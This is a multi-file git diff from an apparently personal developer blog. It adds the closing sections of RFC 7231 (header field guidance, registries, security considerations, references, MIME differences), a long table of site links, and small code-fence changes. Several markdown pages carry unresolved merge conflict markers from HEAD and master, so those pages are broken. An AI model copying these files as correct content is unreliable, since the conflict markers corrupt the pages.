+   use a container syntax such as quoted-string (Section 3.2.6 of
+   [RFC7230]).
+
+   Because commas (",") are used as a generic delimiter between
+   field-values, they need to be treated with care if they are allowed
+   in the field-value.  Typically, components that might contain a comma
+   are protected with double-quotes using the quoted-string ABNF
+   production.
+
+   For example, a textual date and a URI (either of which might contain
+   a comma) could be safely carried in field-values like these:
+
+     Example-URI-Field: "http://example.com/a.html,foo",
+                        "http://without-a-comma.example.com/"
+     Example-Date-Field: "Sat, 04 May 1996", "Wed, 14 Sep 2005"
+
+   Note that double-quote delimiters almost always are used with the
+   quoted-string production; using a different syntax inside
+   double-quotes will likely cause unnecessary confusion.
+
+
+
+
+
+Fielding & Reschke           Standards Track                   [Page 78]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   Many header fields use a format including (case-insensitively) named
+   parameters (for instance, Content-Type, defined in Section 3.1.1.5).
+   Allowing both unquoted (token) and quoted (quoted-string) syntax for
+   the parameter value enables recipients to use existing parser
+   components.  When allowing both forms, the meaning of a parameter
+   value ought to be independent of the syntax used for it (for an
+   example, see the notes on parameter handling for media types in
+   Section 3.1.1.1).
+
+   Authors of specifications defining new header fields are advised to
+   consider documenting:
+
+   o  Whether the field is a single value or whether it can be a list
+      (delimited by commas; see Section 3.2 of [RFC7230]).
+
+      If it does not use the list syntax, document how to treat messages
+      where the field occurs multiple times (a sensible default would be
+      to ignore the field, but this might not always be the right
+      choice).
+
+      Note that intermediaries and software libraries might combine
+      multiple header field instances into a single one, despite the
+      field's definition not allowing the list syntax.  A robust format
+      enables recipients to discover these situations (good example:
+      "Content-Type", as the comma can only appear inside quoted
+      strings; bad example: "Location", as a comma can occur inside a
+      URI).
+
+   o  Under what conditions the header field can be used; e.g., only in
+      responses or requests, in all messages, only on responses to a
+      particular request method, etc.
+
+   o  Whether the field should be stored by origin servers that
+      understand it upon a PUT request.
+
+   o  Whether the field semantics are further refined by the context,
+      such as by existing request methods or status codes.
+
+   o  Whether it is appropriate to list the field-name in the Connection
+      header field (i.e., if the header field is to be hop-by-hop; see
+      Section 6.1 of [RFC7230]).
+
+   o  Under what conditions intermediaries are allowed to insert,
+      delete, or modify the field's value.
+
+
+
+
+
+
+
+Fielding & Reschke           Standards Track                   [Page 79]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   o  Whether it is appropriate to list the field-name in a Vary
+      response header field (e.g., when the request header field is used
+      by an origin server's content selection algorithm; see
+      Section 7.1.4).
+
+   o  Whether the header field is useful or allowable in trailers (see
+      Section 4.1 of [RFC7230]).
+
+   o  Whether the header field ought to be preserved across redirects.
+
+   o  Whether it introduces any additional security considerations, such
+      as disclosure of privacy-related data.
+
+8.3.2.  Registrations
+
+   The "Message Headers" registry has been updated with the following
+   permanent registrations:
+
+   +-------------------+----------+----------+-----------------+
+   | Header Field Name | Protocol | Status   | Reference       |
+   +-------------------+----------+----------+-----------------+
+   | Accept            | http     | standard | Section 5.3.2   |
+   | Accept-Charset    | http     | standard | Section 5.3.3   |
+   | Accept-Encoding   | http     | standard | Section 5.3.4   |
+   | Accept-Language   | http     | standard | Section 5.3.5   |
+   | Allow             | http     | standard | Section 7.4.1   |
+   | Content-Encoding  | http     | standard | Section 3.1.2.2 |
+   | Content-Language  | http     | standard | Section 3.1.3.2 |
+   | Content-Location  | http     | standard | Section 3.1.4.2 |
+   | Content-Type      | http     | standard | Section 3.1.1.5 |
+   | Date              | http     | standard | Section 7.1.1.2 |
+   | Expect            | http     | standard | Section 5.1.1   |
+   | From              | http     | standard | Section 5.5.1   |
+   | Location          | http     | standard | Section 7.1.2   |
+   | Max-Forwards      | http     | standard | Section 5.1.2   |
+   | MIME-Version      | http     | standard | Appendix A.1    |
+   | Referer           | http     | standard | Section 5.5.2   |
+   | Retry-After       | http     | standard | Section 7.1.3   |
+   | Server            | http     | standard | Section 7.4.2   |
+   | User-Agent        | http     | standard | Section 5.5.3   |
+   | Vary              | http     | standard | Section 7.1.4   |
+   +-------------------+----------+----------+-----------------+
+
+   The change controller for the above registrations is: "IETF
+   (iesg@ietf.org) - Internet Engineering Task Force".
+
+
+
+
+
+
+Fielding & Reschke           Standards Track                   [Page 80]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+8.4.  Content Coding Registry
+
+   The "HTTP Content Coding Registry" defines the namespace for content
+   coding names (Section 4.2 of [RFC7230]).  The content coding registry
+   is maintained at <http://www.iana.org/assignments/http-parameters>.
+
+8.4.1.  Procedure
+
+   Content coding registrations MUST include the following fields:
+
+   o  Name
+
+   o  Description
+
+   o  Pointer to specification text
+
+   Names of content codings MUST NOT overlap with names of transfer
+   codings (Section 4 of [RFC7230]), unless the encoding transformation
+   is identical (as is the case for the compression codings defined in
+   Section 4.2 of [RFC7230]).
+
+   Values to be added to this namespace require IETF Review (see Section
+   4.1 of [RFC5226]) and MUST conform to the purpose of content coding
+   defined in this section.
+
+8.4.2.  Registrations
+
+   The "HTTP Content Coding Registry" has been updated with the
+   registrations below:
+
+   +----------+----------------------------------------+---------------+
+   | Name     | Description                            | Reference     |
+   +----------+----------------------------------------+---------------+
+   | identity | Reserved (synonym for "no encoding" in | Section 5.3.4 |
+   |          | Accept-Encoding)                       |               |
+   +----------+----------------------------------------+---------------+
+
+9.  Security Considerations
+
+   This section is meant to inform developers, information providers,
+   and users of known security concerns relevant to HTTP semantics and
+   its use for transferring information over the Internet.
+   Considerations related to message syntax, parsing, and routing are
+   discussed in Section 9 of [RFC7230].
+
+   The list of considerations below is not exhaustive.  Most security
+   concerns related to HTTP semantics are about securing server-side
+   applications (code behind the HTTP interface), securing user agent
+
+
+
+Fielding & Reschke           Standards Track                   [Page 81]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   processing of payloads received via HTTP, or secure use of the
+   Internet in general, rather than security of the protocol.  Various
+   organizations maintain topical information and links to current
+   research on Web application security (e.g., [OWASP]).
+
+9.1.  Attacks Based on File and Path Names
+
+   Origin servers frequently make use of their local file system to
+   manage the mapping from effective request URI to resource
+   representations.  Most file systems are not designed to protect
+   against malicious file or path names.  Therefore, an origin server
+   needs to avoid accessing names that have a special significance to
+   the system when mapping the request target to files, folders, or
+   directories.
+
+   For example, UNIX, Microsoft Windows, and other operating systems use
+   ".." as a path component to indicate a directory level above the
+   current one, and they use specially named paths or file names to send
+   data to system devices.  Similar naming conventions might exist
+   within other types of storage systems.  Likewise, local storage
+   systems have an annoying tendency to prefer user-friendliness over
+   security when handling invalid or unexpected characters,
+   recomposition of decomposed characters, and case-normalization of
+   case-insensitive names.
+
+   Attacks based on such special names tend to focus on either denial-
+   of-service (e.g., telling the server to read from a COM port) or
+   disclosure of configuration and source files that are not meant to be
+   served.
+
+9.2.  Attacks Based on Command, Code, or Query Injection
+
+   Origin servers often use parameters within the URI as a means of
+   identifying system services, selecting database entries, or choosing
+   a data source.  However, data received in a request cannot be
+   trusted.  An attacker could construct any of the request data
+   elements (method, request-target, header fields, or body) to contain
+   data that might be misinterpreted as a command, code, or query when
+   passed through a command invocation, language interpreter, or
+   database interface.
+
+   For example, SQL injection is a common attack wherein additional
+   query language is inserted within some part of the request-target or
+   header fields (e.g., Host, Referer, etc.).  If the received data is
+   used directly within a SELECT statement, the query language might be
+   interpreted as a database command instead of a simple string value.
+   This type of implementation vulnerability is extremely common, in
+   spite of being easy to prevent.
+
+
+
+Fielding & Reschke           Standards Track                   [Page 82]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   In general, resource implementations ought to avoid use of request
+   data in contexts that are processed or interpreted as instructions.
+   Parameters ought to be compared to fixed strings and acted upon as a
+   result of that comparison, rather than passed through an interface
+   that is not prepared for untrusted data.  Received data that isn't
+   based on fixed parameters ought to be carefully filtered or encoded
+   to avoid being misinterpreted.
+
+   Similar considerations apply to request data when it is stored and
+   later processed, such as within log files, monitoring tools, or when
+   included within a data format that allows embedded scripts.
+
+9.3.  Disclosure of Personal Information
+
+   Clients are often privy to large amounts of personal information,
+   including both information provided by the user to interact with
+   resources (e.g., the user's name, location, mail address, passwords,
+   encryption keys, etc.) and information about the user's browsing
+   activity over time (e.g., history, bookmarks, etc.).  Implementations
+   need to prevent unintentional disclosure of personal information.
+
+9.4.  Disclosure of Sensitive Information in URIs
+
+   URIs are intended to be shared, not secured, even when they identify
+   secure resources.  URIs are often shown on displays, added to
+   templates when a page is printed, and stored in a variety of
+   unprotected bookmark lists.  It is therefore unwise to include
+   information within a URI that is sensitive, personally identifiable,
+   or a risk to disclose.
+
+   Authors of services ought to avoid GET-based forms for the submission
+   of sensitive data because that data will be placed in the
+   request-target.  Many existing servers, proxies, and user agents log
+   or display the request-target in places where it might be visible to
+   third parties.  Such services ought to use POST-based form submission
+   instead.
+
+   Since the Referer header field tells a target site about the context
+   that resulted in a request, it has the potential to reveal
+   information about the user's immediate browsing history and any
+   personal information that might be found in the referring resource's
+   URI.  Limitations on the Referer header field are described in
+   Section 5.5.2 to address some of its security considerations.
+
+
+
+
+
+
+
+
+Fielding & Reschke           Standards Track                   [Page 83]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+9.5.  Disclosure of Fragment after Redirects
+
+   Although fragment identifiers used within URI references are not sent
+   in requests, implementers ought to be aware that they will be visible
+   to the user agent and any extensions or scripts running as a result
+   of the response.  In particular, when a redirect occurs and the
+   original request's fragment identifier is inherited by the new
+   reference in Location (Section 7.1.2), this might have the effect of
+   disclosing one site's fragment to another site.  If the first site
+   uses personal information in fragments, it ought to ensure that
+   redirects to other sites include a (possibly empty) fragment
+   component in order to block that inheritance.
+
+9.6.  Disclosure of Product Information
+
+   The User-Agent (Section 5.5.3), Via (Section 5.7.1 of [RFC7230]), and
+   Server (Section 7.4.2) header fields often reveal information about
+   the respective sender's software systems.  In theory, this can make
+   it easier for an attacker to exploit known security holes; in
+   practice, attackers tend to try all potential holes regardless of the
+   apparent software versions being used.
+
+   Proxies that serve as a portal through a network firewall ought to
+   take special precautions regarding the transfer of header information
+   that might identify hosts behind the firewall.  The Via header field
+   allows intermediaries to replace sensitive machine names with
+   pseudonyms.
+
+9.7.  Browser Fingerprinting
+
+   Browser fingerprinting is a set of techniques for identifying a
+   specific user agent over time through its unique set of
+   characteristics.  These characteristics might include information
+   related to its TCP behavior, feature capabilities, and scripting
+   environment, though of particular interest here is the set of unique
+   characteristics that might be communicated via HTTP.  Fingerprinting
+   is considered a privacy concern because it enables tracking of a user
+   agent's behavior over time without the corresponding controls that
+   the user might have over other forms of data collection (e.g.,
+   cookies).  Many general-purpose user agents (i.e., Web browsers) have
+   taken steps to reduce their fingerprints.
+
+   There are a number of request header fields that might reveal
+   information to servers that is sufficiently unique to enable
+   fingerprinting.  The From header field is the most obvious, though it
+   is expected that From will only be sent when self-identification is
+   desired by the user.  Likewise, Cookie header fields are deliberately
+
+
+
+
+Fielding & Reschke           Standards Track                   [Page 84]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   designed to enable re-identification, so fingerprinting concerns only
+   apply to situations where cookies are disabled or restricted by the
+   user agent's configuration.
+
+   The User-Agent header field might contain enough information to
+   uniquely identify a specific device, usually when combined with other
+   characteristics, particularly if the user agent sends excessive
+   details about the user's system or extensions.  However, the source
+   of unique information that is least expected by users is proactive
+   negotiation (Section 5.3), including the Accept, Accept-Charset,
+   Accept-Encoding, and Accept-Language header fields.
+
+   In addition to the fingerprinting concern, detailed use of the
+   Accept-Language header field can reveal information the user might
+   consider to be of a private nature.  For example, understanding a
+   given language set might be strongly correlated to membership in a
+   particular ethnic group.  An approach that limits such loss of
+   privacy would be for a user agent to omit the sending of
+   Accept-Language except for sites that have been whitelisted, perhaps
+   via interaction after detecting a Vary header field that indicates
+   language negotiation might be useful.
+
+   In environments where proxies are used to enhance privacy, user
+   agents ought to be conservative in sending proactive negotiation
+   header fields.  General-purpose user agents that provide a high
+   degree of header field configurability ought to inform users about
+   the loss of privacy that might result if too much detail is provided.
+   As an extreme privacy measure, proxies could filter the proactive
+   negotiation header fields in relayed requests.
+
+10.  Acknowledgments
+
+   See Section 10 of [RFC7230].
+
+11.  References
+
+11.1.  Normative References
+
+   [RFC2045]  Freed, N. and N. Borenstein, "Multipurpose Internet Mail
+              Extensions (MIME) Part One: Format of Internet Message
+              Bodies", RFC 2045, November 1996.
+
+   [RFC2046]  Freed, N. and N. Borenstein, "Multipurpose Internet Mail
+              Extensions (MIME) Part Two: Media Types", RFC 2046,
+              November 1996.
+
+   [RFC2119]  Bradner, S., "Key words for use in RFCs to Indicate
+              Requirement Levels", BCP 14, RFC 2119, March 1997.
+
+
+
+Fielding & Reschke           Standards Track                   [Page 85]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   [RFC3986]  Berners-Lee, T., Fielding, R., and L. Masinter, "Uniform
+              Resource Identifier (URI): Generic Syntax", STD 66,
+              RFC 3986, January 2005.
+
+   [RFC4647]  Phillips, A., Ed. and M. Davis, Ed., "Matching of Language
+              Tags", BCP 47, RFC 4647, September 2006.
+
+   [RFC5234]  Crocker, D., Ed. and P. Overell, "Augmented BNF for Syntax
+              Specifications: ABNF", STD 68, RFC 5234, January 2008.
+
+   [RFC5646]  Phillips, A., Ed. and M. Davis, Ed., "Tags for Identifying
+              Languages", BCP 47, RFC 5646, September 2009.
+
+   [RFC6365]  Hoffman, P. and J. Klensin, "Terminology Used in
+              Internationalization in the IETF", BCP 166, RFC 6365,
+              September 2011.
+
+   [RFC7230]  Fielding, R., Ed. and J. Reschke, Ed., "Hypertext Transfer
+              Protocol (HTTP/1.1): Message Syntax and Routing",
+              RFC 7230, June 2014.
+
+   [RFC7232]  Fielding, R., Ed. and J. Reschke, Ed., "Hypertext Transfer
+              Protocol (HTTP/1.1): Conditional Requests", RFC 7232,
+              June 2014.
+
+   [RFC7233]  Fielding, R., Ed., Lafon, Y., Ed., and J. Reschke, Ed.,
+              "Hypertext Transfer Protocol (HTTP/1.1): Range Requests",
+              RFC 7233, June 2014.
+
+   [RFC7234]  Fielding, R., Ed., Nottingham, M., Ed., and J. Reschke,
+              Ed., "Hypertext Transfer Protocol (HTTP/1.1): Caching",
+              RFC 7234, June 2014.
+
+   [RFC7235]  Fielding, R., Ed. and J. Reschke, Ed., "Hypertext Transfer
+              Protocol (HTTP/1.1): Authentication", RFC 7235, June 2014.
+
+11.2.  Informative References
+
+   [BCP13]    Freed, N., Klensin, J., and T. Hansen, "Media Type
+              Specifications and Registration Procedures", BCP 13,
+              RFC 6838, January 2013.
+
+   [BCP178]   Saint-Andre, P., Crocker, D., and M. Nottingham,
+              "Deprecating the "X-" Prefix and Similar Constructs in
+              Application Protocols", BCP 178, RFC 6648, June 2012.
+
+
+
+
+
+
+Fielding & Reschke           Standards Track                   [Page 86]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   [BCP90]    Klyne, G., Nottingham, M., and J. Mogul, "Registration
+              Procedures for Message Header Fields", BCP 90, RFC 3864,
+              September 2004.
+
+   [OWASP]    van der Stock, A., Ed., "A Guide to Building Secure Web
+              Applications and Web Services", The Open Web Application
+              Security Project (OWASP) 2.0.1, July 2005,
+              <https://www.owasp.org/>.
+
+   [REST]     Fielding, R., "Architectural Styles and the Design of
+              Network-based Software Architectures",
+              Doctoral Dissertation, University of California, Irvine,
+              September 2000,
+              <http://roy.gbiv.com/pubs/dissertation/top.htm>.
+
+   [RFC1945]  Berners-Lee, T., Fielding, R., and H. Nielsen, "Hypertext
+              Transfer Protocol -- HTTP/1.0", RFC 1945, May 1996.
+
+   [RFC2049]  Freed, N. and N. Borenstein, "Multipurpose Internet Mail
+              Extensions (MIME) Part Five: Conformance Criteria and
+              Examples", RFC 2049, November 1996.
+
+   [RFC2068]  Fielding, R., Gettys, J., Mogul, J., Nielsen, H., and T.
+              Berners-Lee, "Hypertext Transfer Protocol -- HTTP/1.1",
+              RFC 2068, January 1997.
+
+   [RFC2295]  Holtman, K. and A. Mutz, "Transparent Content Negotiation
+              in HTTP", RFC 2295, March 1998.
+
+   [RFC2388]  Masinter, L., "Returning Values from Forms:  multipart/
+              form-data", RFC 2388, August 1998.
+
+   [RFC2557]  Palme, F., Hopmann, A., Shelness, N., and E. Stefferud,
+              "MIME Encapsulation of Aggregate Documents, such as HTML
+              (MHTML)", RFC 2557, March 1999.
+
+   [RFC2616]  Fielding, R., Gettys, J., Mogul, J., Frystyk, H.,
+              Masinter, L., Leach, P., and T. Berners-Lee, "Hypertext
+              Transfer Protocol -- HTTP/1.1", RFC 2616, June 1999.
+
+   [RFC2774]  Frystyk, H., Leach, P., and S. Lawrence, "An HTTP
+              Extension Framework", RFC 2774, February 2000.
+
+   [RFC2817]  Khare, R. and S. Lawrence, "Upgrading to TLS Within
+              HTTP/1.1", RFC 2817, May 2000.
+
+   [RFC2978]  Freed, N. and J. Postel, "IANA Charset Registration
+              Procedures", BCP 19, RFC 2978, October 2000.
+
+
+
+Fielding & Reschke           Standards Track                   [Page 87]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   [RFC5226]  Narten, T. and H. Alvestrand, "Guidelines for Writing an
+              IANA Considerations Section in RFCs", BCP 26, RFC 5226,
+              May 2008.
+
+   [RFC5246]  Dierks, T. and E. Rescorla, "The Transport Layer Security
+              (TLS) Protocol Version 1.2", RFC 5246, August 2008.
+
+   [RFC5322]  Resnick, P., "Internet Message Format", RFC 5322,
+              October 2008.
+
+   [RFC5789]  Dusseault, L. and J. Snell, "PATCH Method for HTTP",
+              RFC 5789, March 2010.
+
+   [RFC5905]  Mills, D., Martin, J., Ed., Burbank, J., and W. Kasch,
+              "Network Time Protocol Version 4: Protocol and Algorithms
+              Specification", RFC 5905, June 2010.
+
+   [RFC5987]  Reschke, J., "Character Set and Language Encoding for
+              Hypertext Transfer Protocol (HTTP) Header Field
+              Parameters", RFC 5987, August 2010.
+
+   [RFC5988]  Nottingham, M., "Web Linking", RFC 5988, October 2010.
+
+   [RFC6265]  Barth, A., "HTTP State Management Mechanism", RFC 6265,
+              April 2011.
+
+   [RFC6266]  Reschke, J., "Use of the Content-Disposition Header Field
+              in the Hypertext Transfer Protocol (HTTP)", RFC 6266,
+              June 2011.
+
+   [RFC7238]  Reschke, J., "The Hypertext Transfer Protocol (HTTP)
+              Status Code 308 (Permanent Redirect)", RFC 7238,
+              June 2014.
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Fielding & Reschke           Standards Track                   [Page 88]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+Appendix A.  Differences between HTTP and MIME
+
+   HTTP/1.1 uses many of the constructs defined for the Internet Message
+   Format [RFC5322] and the Multipurpose Internet Mail Extensions (MIME)
+   [RFC2045] to allow a message body to be transmitted in an open
+   variety of representations and with extensible header fields.
+   However, RFC 2045 is focused only on email; applications of HTTP have
+   many characteristics that differ from email; hence, HTTP has features
+   that differ from MIME.  These differences were carefully chosen to
+   optimize performance over binary connections, to allow greater
+   freedom in the use of new media types, to make date comparisons
+   easier, and to acknowledge the practice of some early HTTP servers
+   and clients.
+
+   This appendix describes specific areas where HTTP differs from MIME.
+   Proxies and gateways to and from strict MIME environments need to be
+   aware of these differences and provide the appropriate conversions
+   where necessary.
+
+A.1.  MIME-Version
+
+   HTTP is not a MIME-compliant protocol.  However, messages can include
+   a single MIME-Version header field to indicate what version of the
+   MIME protocol was used to construct the message.  Use of the
+   MIME-Version header field indicates that the message is in full
+   conformance with the MIME protocol (as defined in [RFC2045]).
+   Senders are responsible for ensuring full conformance (where
+   possible) when exporting HTTP messages to strict MIME environments.
+
+A.2.  Conversion to Canonical Form
+
+   MIME requires that an Internet mail body part be converted to
+   canonical form prior to being transferred, as described in Section 4
+   of [RFC2049].  Section 3.1.1.3 of this document describes the forms
+   allowed for subtypes of the "text" media type when transmitted over
+   HTTP.  [RFC2046] requires that content with a type of "text"
+   represent line breaks as CRLF and forbids the use of CR or LF outside
+   of line break sequences.  HTTP allows CRLF, bare CR, and bare LF to
+   indicate a line break within text content.
+
+   A proxy or gateway from HTTP to a strict MIME environment ought to
+   translate all line breaks within the text media types described in
+   Section 3.1.1.3 of this document to the RFC 2049 canonical form of
+   CRLF.  Note, however, this might be complicated by the presence of a
+   Content-Encoding and by the fact that HTTP allows the use of some
+   charsets that do not use octets 13 and 10 to represent CR and LF,
+   respectively.
+
+
+
+
+Fielding & Reschke           Standards Track                   [Page 89]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   Conversion will break any cryptographic checksums applied to the
+   original content unless the original content is already in canonical
+   form.  Therefore, the canonical form is recommended for any content
+   that uses such checksums in HTTP.
+
+A.3.  Conversion of Date Formats
+
+   HTTP/1.1 uses a restricted set of date formats (Section 7.1.1.1) to
+   simplify the process of date comparison.  Proxies and gateways from
+   other protocols ought to ensure that any Date header field present in
+   a message conforms to one of the HTTP/1.1 formats and rewrite the
+   date if necessary.
+
+A.4.  Conversion of Content-Encoding
+
+   MIME does not include any concept equivalent to HTTP/1.1's
+   Content-Encoding header field.  Since this acts as a modifier on the
+   media type, proxies and gateways from HTTP to MIME-compliant
+   protocols ought to either change the value of the Content-Type header
+   field or decode the representation before forwarding the message.
+   (Some experimental applications of Content-Type for Internet mail
+   have used a media-type parameter of ";conversions=<content-coding>"
+   to perform a function equivalent to Content-Encoding.  However, this
+   parameter is not part of the MIME standards).
+
+A.5.  Conversion of Content-Transfer-Encoding
+
+   HTTP does not use the Content-Transfer-Encoding field of MIME.
+   Proxies and gateways from MIME-compliant protocols to HTTP need to
+   remove any Content-Transfer-Encoding prior to delivering the response
+   message to an HTTP client.
+
+   Proxies and gateways from HTTP to MIME-compliant protocols are
+   responsible for ensuring that the message is in the correct format
+   and encoding for safe transport on that protocol, where "safe
+   transport" is defined by the limitations of the protocol being used.
+   Such a proxy or gateway ought to transform and label the data with an
+   appropriate Content-Transfer-Encoding if doing so will improve the
+   likelihood of safe transport over the destination protocol.
+
+A.6.  MHTML and Line Length Limitations
+
+   HTTP implementations that share code with MHTML [RFC2557]
+   implementations need to be aware of MIME line length limitations.
+   Since HTTP does not have this limitation, HTTP does not fold long
+   lines.  MHTML messages being transported by HTTP follow all
+   conventions of MHTML, including line length limitations and folding,
+   canonicalization, etc., since HTTP transfers message-bodies as
+```
\ No newline at end of file
diff --git a/src/pages/docs/overflow/install.md b/src/pages/docs/overflow/install.md
index b680fdafa1..8766e0989a 100644
--- a/src/pages/docs/overflow/install.md
+++ b/src/pages/docs/overflow/install.md
@@ -33,7 +33,7 @@ One very convenient way to install Node.js is through a package manager. In this
 
 On macOS, [Homebrew](https://brew.sh/) is the de-facto standard, and - once installed - allows you to install Node.js very easily, by running this command in the CLI:
 
-```bash
+```console
 brew install node
 ```
 
diff --git a/src/pages/docs/overflow/node-repl.md b/src/pages/docs/overflow/node-repl.md
index bac8a75110..00693e5904 100644
--- a/src/pages/docs/overflow/node-repl.md
+++ b/src/pages/docs/overflow/node-repl.md
@@ -15,13 +15,13 @@ excerpt: >-
 
 The `node` command is the one we use to run our Node.js scripts:
 
-```bash
+```console
 node script.js
 ```
 
 If we omit the filename, we use it in REPL mode:
 
-```bash
+```console
 node
 ```
 
@@ -29,7 +29,7 @@ node
 
 If you try it now in your terminal, this is what happens:
 
-```bash
+```console
 ❯ node
 >
 ```
diff --git a/src/pages/docs/privacy-policy.md b/src/pages/docs/privacy-policy.md
index 614a4ac23b..62f62f31c2 100644
--- a/src/pages/docs/privacy-policy.md
+++ b/src/pages/docs/privacy-policy.md
@@ -10,6 +10,10 @@ seo:
 template: docs
 ---
 
+<<<<<<< HEAD
+=======
+
+>>>>>>> master
     PRIVACY NOTICE
 
 - Visit our website at <https://bgoonz-blog.netlify.app/>
diff --git a/src/pages/docs/projects/index.md b/src/pages/docs/projects/index.md
index f3f629fad4..16a2584182 100644
--- a/src/pages/docs/projects/index.md
+++ b/src/pages/docs/projects/index.md
@@ -32,6 +32,13 @@ seo:
 template: docs
 weight: 0
 ---
+<<<<<<< HEAD
+=======
+
+
+https://bgoonz-blog-v3-0.netlify.app/embeds/
+
+>>>>>>> master
 
 <br>
 <h1>  Links: </h1>
@@ -157,7 +164,25 @@ weight: 0
 <br>
 <br>
 <br>
+<<<<<<< HEAD
 <hr>
+=======
+
+
+<br>
+<h1>  Useful Snippets </h1>
+<br>
+<iframe style="resize:both; overflow:scroll;"  sandbox="allow-scripts" style="resize:both; overflow:scroll;"     style="z-index:-1!important; overflow:scroll;resize:both;"  src="https://bgoonz.github.io/Useful-Snippets/" height="800px" width="800px" scrolling="yes"   frameborder="yes" loading="lazy"  allowfullscreen="true"
+       frameborder="0" >
+</iframe>
+<br>
+
+<br>
+<br>
+<br>
+<br>
+
+>>>>>>> master
 <br>
 <br>
 <br>
diff --git a/src/pages/docs/projects/links/index.md b/src/pages/docs/projects/links/index.md
new file mode 100644
index 0000000000..ecb5826c8c
--- /dev/null
+++ b/src/pages/docs/projects/links/index.md
@@ -0,0 +1,963 @@
+---
+title: Links
+template: docs
+excerpt: Links to my websites
+---
+
+| <https://bgoonz-blog-2-0.pages.dev/blog/platform-docs>                                              |
+| --------------------------------------------------------------------------------------------------- |
+| <https://bgoonz-blog-2-0.pages.dev/docs>                                                            |
+| <https://bgoonz-blog-2-0.pages.dev/docs/about>                                                      |
+| <https://bgoonz-blog-2-0.pages.dev/docs/about/job-search>                                           |
+| <https://bgoonz-blog-2-0.pages.dev/docs/articles>                                                   |
+| <https://bgoonz-blog-2-0.pages.dev/docs/articles/nodejs>                                            |
+| <https://bgoonz-blog-2-0.pages.dev/docs/career>                                                     |
+| <https://bgoonz-blog-2-0.pages.dev/docs/career/dev-interview>                                       |
+| <https://bgoonz-blog-2-0.pages.dev/docs/career/job-boards>                                          |
+| <https://bgoonz-blog-2-0.pages.dev/docs/community>                                                  |
+| <https://bgoonz-blog-2-0.pages.dev/docs/community/bookmarks>                                        |
+| <https://bgoonz-blog-2-0.pages.dev/docs/content>                                                    |
+| <https://bgoonz-blog-2-0.pages.dev/docs/css>                                                        |
+| <https://bgoonz-blog-2-0.pages.dev/docs/data-structures>                                            |
+| <https://bgoonz-blog-2-0.pages.dev/docs/docs>                                                       |
+| <https://bgoonz-blog-2-0.pages.dev/docs/docs/no-whiteboarding>                                      |
+| <https://bgoonz-blog-2-0.pages.dev/docs/faq>                                                        |
+| <https://bgoonz-blog-2-0.pages.dev/docs/faq/contact>                                                |
+| <https://bgoonz-blog-2-0.pages.dev/docs/interact>                                                   |
+| <https://bgoonz-blog-2-0.pages.dev/docs/interview>                                                  |
+| <https://bgoonz-blog-2-0.pages.dev/docs/interview/job-search-nav>                                   |
+| <https://bgoonz-blog-2-0.pages.dev/docs/javascript>                                                 |
+| <https://bgoonz-blog-2-0.pages.dev/docs/leetcode>                                                   |
+| <https://bgoonz-blog-2-0.pages.dev/docs/projects>                                                   |
+| <https://bgoonz-blog-2-0.pages.dev/docs/python/python-ds>                                           |
+| <https://bgoonz-blog-2-0.pages.dev/docs/quick-reference>                                            |
+| <https://bgoonz-blog-2-0.pages.dev/docs/react>                                                      |
+| <https://bgoonz-blog-2-0.pages.dev/docs/reference>                                                  |
+| <https://bgoonz-blog-2-0.pages.dev/docs/sitemap/link>                                               |
+| <https://bgoonz-blog-2-0.pages.dev/docs/tips>                                                       |
+| <https://bgoonz-blog-2-0.pages.dev/docs/tools/archive>                                              |
+| <https://bgoonz-blog-2-0.pages.dev/docs/tools/link>                                                 |
+| <https://bgoonz-blog-2-0.pages.dev/docs/tutorials>                                                  |
+| <https://bgoonz-blog.netlify>                                                                       |
+| <https://bgoonz-blog.netlify.app>                                                                   |
+| <https://bgoonz-blog.netlify.app/>                                                                  |
+| <https://bgoonz-blog.netlify.app/>"                                                                 |
+| <https://bgoonz-blog.netlify.app/>"<https://bgoonz-blog.netlify>                                    |
+| <https://bgoonz-blog.netlify.app/blog>                                                              |
+| <https://bgoonz-blog.netlify.app/blog/300-react-questions>                                          |
+| <https://bgoonz-blog.netlify.app/blog/adding-css-to-your-html>                                      |
+| <https://bgoonz-blog.netlify.app/blog/awesome-graphql>                                              |
+| <https://bgoonz-blog.netlify.app/blog/big-o-complexity>                                             |
+| <https://bgoonz-blog.netlify.app/blog/blog-archive>                                                 |
+| <https://bgoonz-blog.netlify.app/blog/blogwcomments>                                                |
+| <https://bgoonz-blog.netlify.app/blog/data-structures>                                              |
+| <https://bgoonz-blog.netlify.app/blog/data-structures-algorithms-resources>                         |
+| <https://bgoonz-blog.netlify.app/blog/date-component>                                               |
+| <https://bgoonz-blog.netlify.app/blog/embedding-media-in-html>                                      |
+| <https://bgoonz-blog.netlify.app/blog/event-handeling>                                              |
+| <https://bgoonz-blog.netlify.app/blog/expressjs-apis>                                               |
+| <https://bgoonz-blog.netlify.app/blog/flow-control-in-python>                                       |
+| <https://bgoonz-blog.netlify.app/blog/functions-in-python>                                          |
+| <https://bgoonz-blog.netlify.app/blog/git-gateway>                                                  |
+| <https://bgoonz-blog.netlify.app/blog/grep-in-linuz>                                                |
+| <https://bgoonz-blog.netlify.app/blog/hoisting>                                                     |
+| <https://bgoonz-blog.netlify.app/blog/htt-requests>                                                 |
+| <https://bgoonz-blog.netlify.app/blog/interview-questions-js>                                       |
+| <https://bgoonz-blog.netlify.app/blog/interview-questions-js-p2>                                    |
